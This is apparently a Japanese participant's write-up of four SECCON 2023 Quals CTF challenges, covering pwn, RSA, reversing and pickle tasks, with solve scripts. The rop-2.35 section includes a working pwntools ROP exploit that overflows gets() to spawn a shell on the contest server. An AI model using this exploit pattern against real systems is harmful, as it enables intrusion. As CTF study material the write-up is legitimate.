はじめに
SECCON 2023 Quals に参加しました.
4 問しか解けず全体で 99 位,国内では 39 位でした.
rop-2.35
author:ptr-yudai
warmup
The number of ROP gadgets is declining worldwide.
nc rop-2-35.seccon.games 9999
rop-2.35.tar.gz 4402ebe419228899643b42b7f39540f65a5d8dc5
- セキュリティ機構
RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
- コード自体はめちゃくちゃシンプル
#include <stdio.h> #include <stdlib.h> void main() { char buf[0x10]; system("echo Enter something:"); gets(buf); }
- スタックベースの BOF で No PIE なので実行ファイル上は自由に飛べる
- rax に入力のアドレスが入ってるから
0x0000000000401169
に飛べばいけると思ったけど system 関数が呼び出されるときにスタックが上書きされるので,入力したのが消えるpwndbg> disass main Dump of assembler code for function main: 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push rbp 0x000000000040115b <+5>: mov rbp,rsp 0x000000000040115e <+8>: sub rsp,0x10 0x0000000000401162 <+12>: lea rax,[rip+0xe9b] # 0x402004 0x0000000000401169 <+19>: mov rdi,rax 0x000000000040116c <+22>: call 0x401050 <system@plt> 0x0000000000401171 <+27>: lea rax,[rbp-0x10] 0x0000000000401175 <+31>: mov rdi,rax 0x0000000000401178 <+34>: mov eax,0x0 0x000000000040117d <+39>: call 0x401060 <gets@plt> => 0x0000000000401182 <+44>: nop 0x0000000000401183 <+45>: leave 0x0000000000401184 <+46>: ret
- これがあったので,スタックをずらしてから呼ぶ
0x0000000000401016 : add rsp, 8 ; ret
from pwn import *
io = remote('rop-2-35.seccon.games', 9999)
addr_call_system = 0x0000000000401169
rop_add_rsp = 0x0000000000401016
payload = b'/bin/sh\x00'
payload += p64(0)
payload += p64(1)
payload += p64(rop_add_rsp) * 6
payload += p64(addr_call_system)
io.sendline(payload)
io.interactive()
plai_n_rsa
author:kurenaif
warmup
I've dropped the "n" ... where is my "n" :(
dist.tar.gz 0fe2638037ee07b46f41d646ea94e2830d338774
- RSA で $e, d, p+q$ が与えられている
- $e \cdot d = 1 \mod{(p - 1) \cdot (q - 1)}$ なので,以下の式が成り立つ
$$
e \cdot d - 1 = (n - hint + 1) \cdot k
$$ - $n$ は 2048 ビットで,左辺は計算してみると 2063 ビットなので,$k$ は 15 ビットぐらい
- $k$ は $e \cdot d - 1$ の因数なので,$e \cdot d - 1$ の小さい素因数の組み合わせを試す
from Crypto.Util.number import *
import itertools
from gmpy2 import iroot
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
ks = [2, 2, 2, 2, 5, 7, 23, 43, 67, 1181, 7591, 7658627]
ed_1 = e * d - 1
for i in range(1, len(ks)):
for lst in itertools.permutations(ks, i):
k = 1
for l in lst:
k *= l
n_h_1 = (ed_1) // k
n = n_h_1 + hint - 1
sq = hint**2 - 4 * n
if sq > 0 and iroot(sq, 2)[1]:
print(f'{n = }')
m = pow(c, d, n)
print(long_to_bytes(m))
exit()
jumpout
warmup
author:ptr-yudai
Sequential execution
jumpout.tar.gz 20551442563bc7ad9c8d21806f85c68603f3822a
- ghidra で開いてみたけど main がわけわからん
- スタックにジャンプするアドレスが積んであるっぽい
pwndbg> tele $rsp 00:0000│ rsp 0x7fffffffd9f0 —▸ 0x555555555170 ◂— endbr64 01:0008│ 0x7fffffffd9f8 —▸ 0x555555555210 ◂— endbr64 02:0010│ 0x7fffffffda00 —▸ 0x5555555551f0 ◂— endbr64 03:0018│ 0x7fffffffda08 —▸ 0x5555555551d0 ◂— endbr64 04:0020│ 0x7fffffffda10 —▸ 0x555555555238 ◂— endbr64 05:0028│ 0x7fffffffda18 —▸ 0x5555555551a0 ◂— endbr64
- 関数を探していると FLAG を確かめているっぽいところが見つかる (変数名とかは書き換え済み)
undefined8 check_flag(char *input) { long lVar1; size_t input_length; ulong i; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); input_length = strlen(input); if (input_length == 0x1d) { do { i = 0; do { check_flag2(input[i],i & 0xffffffff); i = i + 1; } while (i != 0x1d); } while( true ); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 1; }
- その中で呼び出されている関数
uint check_flag2(uint c,uint i) { long in_FS_OFFSET; if (*(long *)(in_FS_OFFSET + 0x28) != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail((long)(int)i,i,7); } return c ^ i ^ 0x55 ^ (uint)(byte)(&DAT_00104010)[(int)i]; }
- FLAG の長さが 0x1d なのはわかったけど,check_flag2 の戻り値をどうしてんのかがわからない
- XOR しているデータ DAT_00104010 の直後にも同じ長さのデータがあって,以下のように試してみると一致するのでここと比較していることがわかる
>>> ord('S') ^ 0 ^ 0x55 ^ 0xf6 240 >>> ord('E') ^ 1 ^ 0x55 ^ 0xf5 228 >>> ord('C') ^ 2 ^ 0x55 ^ 0x31 37 >>> ord('C') ^ 3 ^ 0x55 ^ 0xc8
data1 = open('jumpout', 'rb').read()[0x3010:0x3010 + 0x1d]
data2 = open('jumpout', 'rb').read()[0x3030:0x3030 + 0x1d]
flag = ''
for i in range(0x1d):
flag += chr(i ^ 0x55 ^ data1[i] ^ data2[i])
print(flag)
Sickle
author:Xornet
Pickle infected with COVID-19
Sickle.tar.gz 2ca5177b8ced35c355100c626f6273339780f58c
- 【Python】pickle(漬け物)は仮想マシンだった——仕組みとリスク と pickle.py を参考に復元する
-
pickletools.dis
で逆アセンブルできるけど,.
がSTOP
命令で,そこで逆アセンブルが終了してしまうので,それを取り除くのとその memo が既に使われているとかいうエラーがでるのでその辺の命令をうまいことする - これを読むと以下のようになっているっぽい
lst1 = [int.from_bytes(flag.encode()[8:16], 'little')] lst2 = [pow(lst1.__getitem__(0) ^ 1244422970072434993, 65537, 18446744073709551557)]
- この段階で読み切ってしまったけど,最後に lst2 を以下のリストと比較している
lst =[ 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905 ]
- 足りないし,入力した flag の 16 文字目以降が出てこなかった (そんなはずない)
- おそらく 8 文字ずつ処理しているはずなので適当に予想すると当たった
from Crypto.Util.number import *
p = 18446744073709551557
e = 65537
mask = 1244422970072434993
lst =[
8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905
]
flag = b''
d = pow(e, -1, p - 1)
for i in range(len(lst)):
x = pow(lst[i], d, p)
if i == 0:
flag += long_to_bytes(x ^ mask)[::-1]
else:
flag += long_to_bytes(x ^ lst[i - 1])[::-1]
print(flag)
- 見つけられなかったけど,pickle をどうにかできるツールがあるはず